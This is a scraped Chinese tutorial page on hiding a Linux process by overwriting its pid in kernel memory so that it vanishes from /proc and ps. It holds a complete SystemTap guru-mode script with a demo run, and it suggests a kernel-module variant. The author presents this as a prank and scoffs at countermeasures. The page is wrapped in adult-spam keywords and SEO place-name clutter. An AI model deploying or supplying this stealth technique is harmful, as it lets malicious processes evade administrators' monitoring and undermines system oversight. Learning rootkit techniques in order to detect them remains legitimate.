婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > 一行代碼教你如何隱藏Linux進程

一行代碼教你如何隱藏Linux進程

熱門標簽:電銷機器人對公司貢獻 宿州防封外呼系統廠家 蘭州語音電銷機器人軟件 電話機器人服務差 濟源電話外呼系統怎么樣 山東400電話如何辦理 ai電銷機器人 如何開發 高德地圖標注在建線路 智能外呼系統如何部署

總有朋友問隱藏Linux進程的方法,我說你想隱藏到什么程度,是大隱于內核,還是小隱于用戶。

網上通篇論述的無外乎hook掉procfs或者類似的用戶態方案,也都難免長篇大論,我說,這些場面都太大了,太復雜了。對于希望馬上看到效果的而言,看到這么一堆復雜的東西,大概率望而卻步。

本文介紹一種將Linux進程小隱于用戶的非常規方法,僅僅一行代碼:

修改掉進程的pid即可。

注意是小隱,所以,不值得反制,逗一下高級會議工程師搞個惡作劇玩玩得了。
target->pid = 0x7fffffff;

完整的腳本如下:

#!/usr/bin/stap -g
# hide.stp

global pid;

function hide(who:long)
%{
 struct task_struct *target;

 target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID);
 target->pid = 0x7fffffff;
%}

probe begin
{
 pid = $1
 hide(pid);
 exit();
}

來來來,試一下:

[root@localhost system]# ./tohide &
[1] 403
[root@localhost system]# ./hide.stp
[root@localhost system]# 

用下面的命令可以檢測所有可顯示進程的二進制文件:

for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do 
 ls -l /proc/$pid/exe; 
done

procfs里沒了,ps當然就檢測不到了。

如果你覺得guru模式的stap怪怪的,那么你完全可以編寫自己獨立的Linux kernel module,采用修改完即退的方法:

target->pid = xxxx;
return -1;

是不是比各種hook法簡單多了,所謂的 動數據而不要動代碼!

簡單的說一下原理。

  • task被創建的時候,根據其pid注冊procfs目錄結構。
  • 展示procfs目錄結構的時候,遍歷task list以其pid作為key來查找procfs目錄結構。
  • 0x7fffffff(或者任何其它合理的值)根本沒有注冊過,當然無法顯示。

不多說。

再次聲明,不要試圖對本文所描述的方法進行反制,因為這么簡單的東西根本不值得反制,哈哈,不是嗎?

可以參考我之前的Rootkit系列文章來繼續研究Linux進程大隱于內核的方法。同時,每一種方法我都給出了反制措施。

到此這篇關于一行代碼教你如何隱藏Linux進程的文章就介紹到這了,更多相關Linux隱藏進程內容請搜索腳本之家以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持腳本之家!

標簽:畢節 云南 晉中 衡水 安陽 佛山 巴中 南寧

巨人網絡通訊聲明:本文標題《一行代碼教你如何隱藏Linux進程》,本文關鍵詞  一行,代碼,教你,如何,隱藏,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《一行代碼教你如何隱藏Linux進程》相關的同類信息!
  • 本頁收集關于一行代碼教你如何隱藏Linux進程的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 西贡区| 璧山县| 靖州| 咸丰县| 唐河县| 凤凰县| 六安市| 拜城县| 兴文县| 延长县| 开远市| 团风县| 黄冈市| 闵行区| 鄂温| 喀什市| 龙里县| 海宁市| 江口县| 齐河县| 吴堡县| 岱山县| 平乐县| 汪清县| 石首市| 朝阳市| 九江县| 内丘县| 吐鲁番市| 佛学| 个旧市| 抚松县| 视频| 纳雍县| 高唐县| 永兴县| 高碑店市| 大新县| 兴仁县| 克拉玛依市| 瓦房店市|